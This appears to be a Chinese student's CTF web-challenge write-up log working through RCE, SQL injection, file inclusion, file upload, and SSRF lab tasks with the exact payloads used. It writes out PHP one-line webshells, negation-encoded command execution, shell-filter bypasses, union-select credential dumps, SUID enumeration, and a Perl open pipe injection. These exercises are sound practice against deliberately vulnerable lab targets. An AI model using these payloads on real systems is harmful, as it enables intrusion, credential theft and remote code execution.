WEB刷题

[FBCTF2019]RCEService

打开环境

看一下原代码

看一下什么是JSON吧

JSON 指的是 JavaScript 对象表示法

这里要使用JSON形式的命令

大体的形式就是{名称:值}

这里也是知道名称是cmd

尝试一下看看

记得名称和值用括号括起来

{"cmd":"ls"}

尝试看一下上级目录

{"cmd":"ls /"}

被过滤了

这里也是尝试了一下没有绕过,能用的都用了下

也是成功的没有找到绕过方法

后面去看了下wp

告诉我有源码。。。。。

说是原本的有,但是靶场没给

这里去找一下源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

这里看一下putenv是什么东西

putenv 函数用来向环境表中 添加或者修改 环境变量。

说明这里里面哪一个path就是这一题的环境变量

看来下好像也每过滤空格啊/也没有被过滤

看来是这一个里面没有这个命令,去linux里面看看

不对,进去才发现,home是我自己的文件

这里看来是要直接使用绝对路径来使用指令

那我可以先看看rceservice这个文件下面有什么

结果骤然发现/被过滤了。。。。

这里是使用preg_math来进行检测并且有这几个符号

'/^.*  .*$/'

^.*表示从开头开始匹配

.*$匹配到字符串的末尾

一把情况.默认下不匹配\n

所以只检测第一行

这里使用%0A绕过

{%0A"cmd":"ls /home/rceservice"%0A}

这里要直接在url里面输不然%会被编码

一般实在/bin下

直接狗杂payload

{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

[极客大挑战 2019]RCE ME

打开环境

先分析一下

使用get传参,长度不能超过40不能包含数字字母

这里是一个无数字字母绕过

这里用取反看看

半天不行

emmm,不管怎样都是这个情况

结果发现没有加;

加上看一下

(~%8C%86%8C%8B%9A%92)(~%93%8C);

啥也没有

又试了下其它的

没办法

看眼wp

得先去看phpinfo

那就看一眼

(~%8F%97%8F%96%91%99%90)();

我的天,过滤了这么多东西

system也在里面

这里看wp试要使用一句话木马

我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。

我们需要使用assert来构造

assert (eval($_POST[1]))

(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

然后使用蚁剑连接

进去看看

有一个flag

是空的

还有一个readflag

开头是ELF

ELF是一种可执行的程序文件

说明着就是一个读取flag的程序文件

这里本来想说直接用这个读取的

但是是空的,没有用

这里再去看了下wp

说是因为disable_function不能直接调用

这里说可以直接借助蚁剑的插件绕过

运行后就OK了

[Dest0g3 520迎新赛]SimpleRCE

打开环境

长的很奇特

过滤了很多东西

懒得一个一个看

直接取反

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

[NewStarCTF 公开赛赛道]So Baby RCE

打开环境

看着就是一个常见的过滤

先看目录

没东西,直接使用cd进入上一级目录然后再看目录

cd$IFS..&&ls

&记得url编码才会解析

接着向上找

cd$IFS..%26%26cd$IFS..%26%26ls

再找

cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26ls

直接去cat flag

这里使用到一个新东西

之前没有见过

$@这个输出为空

cd$IFS..%26%26cd$IFS..%26%26cd$IFS..%26%26ls%26%26ca$@t%09ffff$@llllaaaaggggg

这里后面不能使用$IFS应该是与$@冲突了

[NewStarCTF 公开赛赛道]So Baby RCE Again

打开环境

这里通过get传参传了一个cmd

这里半天都是回显空白页面

怀疑过shell_exec但是这个函数是讲执行后的命令当作字符串输出

这个命令默认是不输出的但是可以使用echo等命令打印出来

失败就是返回null尝试过绕过

但是没啥用

尝试写个一句话木马进去

因为这个函数是可以执行系统命令的

我们可以直接写一个php文件进去

echo '<?php @eval($_POST[1])?>' > 1.php

可以在这段木马前加几个数字或者字母

之后访问这个文件的时候就可以知道这代码到底执没执行

因为如果执行了

就不会返回这段php代码

直接访问下这个文件

看样子是执行了

这里使用蚁剑连接一下

成功了

进去找flag

看见了

进去看看

这。。。被骗了

手贱看了下下面那个start.sh

因为是红色的

结果发现东西了

这里把FLAG传入那个文件里

这里还修改了权限为700

这里可以看一下700这个权限是什么

第一个数字是root权限

可读可写可执行

但是我们现在是user权限

啥也没有

所有看不了

这里我们需要尝试去修改权限

这里蚁剑自带一个权限的更改

这里尝试改一下看看

发现不行

这里想看看能不能在命令行里修改

还是不允许

这里在问deepseek的时候发现一个东西

感觉这里第二个很靠谱

先去看看什么是SUID/SGID文件

这里的SUID是一个权限

当可执行文件配置有SUID权限的时候,任何人执行文件的时候都是用root这个权限执行

任何可执行文件配置有SGID权限的时候,会以这个文件所属组的权限运行

这里有两个指令来寻找SUID文件和SGID文件

SUID

find / -perm -4000 -type f 2>/dev/null

SGID

find / -perm -2000 -type f 2>/dev/null

这里先在命令行里看下能不能找到SUID文件

还是挺多的

这里这个date是一个命令

另外三个没见过

这里见过date命令

但这个好像是时间的命令

umount命令是卸载文件
su是切换账户的命令
mount是安装文件的命令

不会了,去看下wp

说这里可以使用date命令来读取文件

date -f

这里问deepseek也是告诉我没有date -f这个指令

但是我在菜鸟找到了

emmm也不知道谁对了

AI说这个是BDS系统的,但是菜鸟说是linux系统的

不管了

这个指令是从文件里处理一行内容,应该是报错之后会把该行内容回显出来

所有得到了flag

[SWPUCTF 2021 新生赛]easyrce

打开环境

这里就是简单的传了一个url

正常传参就行

system('ls');

system('ls /');

直接cat

system('cat /flllllaaaaaaggggggg');

[SWPUCTF 2021 新生赛]babyrce

打开环境

这里首先要把cookie里的admin要=1

这里直接拿hackbar改

这里有一个新的php文件

这里就是一个简单的空格绕过

ls$IFS/

直接cat

cat$IFS/flllllaaaaaaggggggg

cookie

打开环境

这里猜测flag实在cookie里面

这里抓包看一下

这里有个cookie.php

进去看看

这俩说要看http的响应

这俩也是看见flag了

simple_php

这题很简单就是弱比较的绕过

但是这俩有个新东西所有写一下

这里不再阐述很简单

这里要注意的是

a传参不能直接a=0

因为在php语言里

0是一个布尔值false

所以这俩要么传入一个字符串0

要么传入字母,因为这里是若比较

a='0'&b=1235a

[Jupyter]notebook-rce

打开环境

这俩可以点击new那里

然后可以新建一个terminal打开终端

这里因为是jupyter的一个漏洞

去网上可以直接找到

要是放给我自己看

给我十年

这里用我的服务器反弹一手shell

他显示没有nc这个命令

使用bash反弹

这题主要是介绍了一下这个漏洞

实际上在我们在jupyter这里创建的命令行直接使用env指令查看环境变量就可以了

[SWPUCTF 2021 新生赛]hardrce

打开环境

首先这里可以观察到

wllm通过get传参

这里过滤的符号没有取反的符号

下面是无字母的RCE

这里可以直接取反进行rce执行

先看目录

(~%8C%86%8C%8B%9A%92)(~%93%8C);

然后看上一级目录

(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

然后直接cat就可以了

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

[SWPUCTF 2021 新生赛]finalrce

打开环境

get传参传url

然后把常规的反弹shell的命令都ban掉了

这里使用tee指令

这里再介绍一下tee指令是个什么

它可以将标准输入的内容读取到标准输出设备,比如一个txt文件

这里可以使用tee指令来绕过exec()函数

使用\绕过关键字过滤

构造payload

l\s|tee 1.txt

然后访问1.txt

再看上一级目录

l\s /|tee 2.txt

猜测是第一个,直接cat一下

ca\t /a_here_is_a_f1ag|tee 3.txt

好家伙被骗了

ca\t /flllllaaaaaaggggggg|tee 4.txt

注意一下这里把la过滤了

使用通配符绕过一下

ca\t /flllll?aaaaaggggggg|tee 4.txt

BUU SQL COURSE 1

打开环境

有一个登录的界面

点进去看看

万能密码看看

爆破一手看看

也是没有密码

然后不管怎么尝试都不行

也不知道过没过滤,都是一个回显

实在没办法了去看了下wp

结果这

。。。。。

太阴了

访问一下看看

很难崩啊

看下是不是整数型

1 and 1=1

1 and 1=2

是整数型

查一下字段

1 order by 2

1 order by 3

有2个字段

看下回显

-1 union select 1,2

然后就是爆库了

-1 union select 1,database()

爆表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'

爆字段

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

爆字段内容

-1 union select 1,group_concat(username,0x7e,password) from news.admin

这里使用~来隔离方便看

登录一下看看

直接弹出flag

BUU LFI COURSE 1

打开环境

这里就是一个简单的php代码

get传参传了个file

然后这里直接包含了用户指定的文件

先看下phpinfo.php文件

这里是把目录给爆出来了

这里先看下能不能进行RFI

虽然题目是说了LFI

这里被禁止掉了,看来就只能LFI

看下源代码里有没有提示flag藏在哪里

也是没有东西

这phpinfo.php是找不到一点

直接看下根目录在不在

这三级目录里面

直接是找不到phpinfo.php

去看了下wp

你告诉我flag就叫flag。。。。。

直接访问

它是在根目录

/flag

EasyInclude 2024

打开环境

这里就是简单的包含了inc这个参数也就是包含了用户直接输入的文件

看下源代码有没有什么好东西

看来是没有

直接大胆一波盲猜flag在根目录

。。。。。。。。难崩

BUU BRUTE 1

打开环境
image

这里就是一个登录的界面
也没有其它东西
先随便提交一个看看
image

image

直接进行爆破
image

登录一手
image

BUU UPLOAD COURSE 1

打开环境
image

直接上传一下php文件看看怎么个事
image

这里可以看到我们上传文件后的最后的文件名是图片
所以这里肯定运行不了
看一下源代码有啥东西
image

也是没有啥东西
但是注意一下这个url
image

这里应该是文件包含图片🐎
这里直接尝试一下
image

这里看情况是成功了
直接传参一下看看
image

成功了
image

直接cat
image

BUU BURP COURSE 1

打开环境
image

这里看来要改一下地址
先抓包看一下
这里来了解一下
本来我一开始想的是XFF
也就是X-Forwarded-X用来标识客户端的原始IP
但是这里不行
这里来详细解释一下X-Real-IP与X-Forwarded-X的区别
X-Real-IP 通常由反向代理直接设置
X-Forwarded-For 记录客户端和所有中间代理的IP链
但是这里是要X-Forwarded-X不行
这里前面加一个IP看看
但还是不行,这里也是不知道为什么
但是可以直接反向代理IP
image

这里也是看见了密码
image
直接post请求发送一下
image

[HITCON 2017]SSRFme

打开环境
image
看着很复杂的样子
先看眼源代码里面有没有藏东西
大致看了下没有
这里有一个ip然后我们先来解读一下这代码是什么意思
` <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

这里首先是对XFF的一个处理 看是否有多个IP,使用,号分开 取第一个IP为真实IP覆盖掉其他IP然后输出出来$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
创建一个沙盒目录 sandbox/固定字符orange和XFF的IP的MD5值$data = shell_exec("GET " . escapeshellarg($_GET["url"]));`
这里shell_exec是把里面的东西当作shell的命令来执行
这里来解释一下这个GET拼接在前面是为啥
因为在早期的Unix或者Linux里面,GET是一个命令,用来下载东西
这里去虚拟机里看看,把百度的robots.txt下载下来
image
这里可以看到这个就是百度的robots.txt文件
这里GET还能用来当作ls命令使用
image
这里可以看见他把我桌面上的文件给列出来了
还能拿来读取文件内容
image

$info = pathinfo($_GET["filename"]);
这个就是一个文件处理的函数,他会解析其路径,文件名,后缀名之类的
$dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data);
将文件中的.都替换掉然后创建一个安全目录dirname
然后将下载下来的数据写入目录
这里去看看沙盒里面有什么
ip是显示出来的那个
这里把我们看到的根目录放到沙盒里去
命名为1
?url=/&filename=1
再去访问
sandbox/50d5f583d8a911dde39156ba3f03c3d5/1
image
看见一个flag
看一下
?url=/flag&filename=2
image
emmmm直接没有
看下readflag
?url=/readflag&filename=3
image
下载下来一个文件打开看看
image
可以看见是一个ELF文件,说明要通过这个文件来得到flag
这里来说一下原因
ELF主要是用来存储可执行程序
比如ls命令对应那个课执行程序就是一个二进制ELF文件
这里就是要去执行这个文件
这里来了解一下GET命令的底层原理
他的底层原理是perl的open
在open函数中存在命令执行,这个本来应该在上面读取文件的时候就应该说的
但是本人比较懒,之前没说,现在说一下
首先先来解释一下perl
这个是一种编程语言
open(F,"id|"); print <F>; //vi test.pl uid=0(root) gid=0(root) groups=0(root) //perl test.pl
第一行就是open函数执行命令然后输出
这里之后又两种方法

ssrf写入木马

注意函数file_put_contents()
这里可以使用data伪协议来进行写马的操作
?url=data:text/plain,'<?php @eval($_POST['1'])?>'&filename=1.php
这里直接使用蚁剑连接
然后运行就可以了
image

perl语言漏洞

当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。
这里就可以构造了
使用bash来运行ELF文件
先创建文件
?url=&filename=|/readflag
最后再执行就可以了
?url=file:|/readflag&filename=test
image
但是发现没有
这里也是疑惑为什么使用file:来运行ELF文件
这里就在kali上编译一个ELF
先写一个C语言的小代码,当然我是不会网上找的
#include <stdio.h> int main() { printf("Hello, World!"); return 0; }
kali里面自带GCC编译器
先编译成目标文件
gcc -c mian.c -o main.o
image
再编译成ELF文件
gcc 路径/main.o -o main
image
这里使用file来看一下
image
这里不行
后面又去找了下
发现file是用来防止perl解析错误
如果直接写入|/readflag
perl的open函数会识别为向文件里面写入内容
这里加上fiel:就变成提取冒号后面的内容
然后遇到管道符,直接当作命令运行
这里如果这个ELF文件没有执行的权限,我们可以使用bash来运行
这里尝试一下
?url=&filename=bash -c /readflag
?url=file:|bash -c /readflag&filename=a
image
也是可以的

[第二章 web进阶]SSRF Training

打开环境image
看着很萌的一个界面
点一下那个蓝色的界面
image
是一大堆代码

点击查看代码
 <?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?> 
这里先解读一手代码 整体分为三个部分 第一部分
点击查看代码
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

[第三章 web进阶]Python里的SSRF

打开环境
image
测试下url存不存在SSRF
image
这里应该是可以连接,但是不知道啥情况显示不出来
image
题目这里有显示,我们先访问一下127.0.0.1看看
image
被过滤了
image
使用进制绕过一下看看
image
这个进制没法绕过
看来是直接把127.0.0.1给ban了
看下其他回环IP行不行
image
这个可以
直接访问题目告诉我们的路径
?url=http://127.0.0.2:8000/api/internal/secret
image

baby_web【攻防世界】

打开环境

image

注意题目

image

访问index.php

image

发现302跳转,抓包再发

image

发现flag被藏起来了

果然是一点静态视力没有

image

就在包里面

catcat-new【攻防世界】

打开环境

image

是一堆猫猫的照片
随便点一下,下面那个介绍可以点
然后url就会发生变化

image

这里猜测是存在一个任意文件读取的漏洞
但是这里怎么读也读不到

image

这里尝试了一会儿发现什么都读取不出来
。。。。。
这个时候在看wp的时候发现了一个工具可以查看网页结构
关于Wappalyzer的使用和介绍可以看这篇文章

https://blog.csdn.net/qq_34082921/article/details/134050835

但是这里不知道抽什么风用不了
这里还可以换另一个Builtwith
这个也可以
https://builtwith.com/zh/

image

直接把网址丢进去就可以了

image

python的网页框架没有多少,也就一个flask和djiango

posted @ 2025-05-08 22:08  crook666  阅读(50)  评论(0)    收藏  举报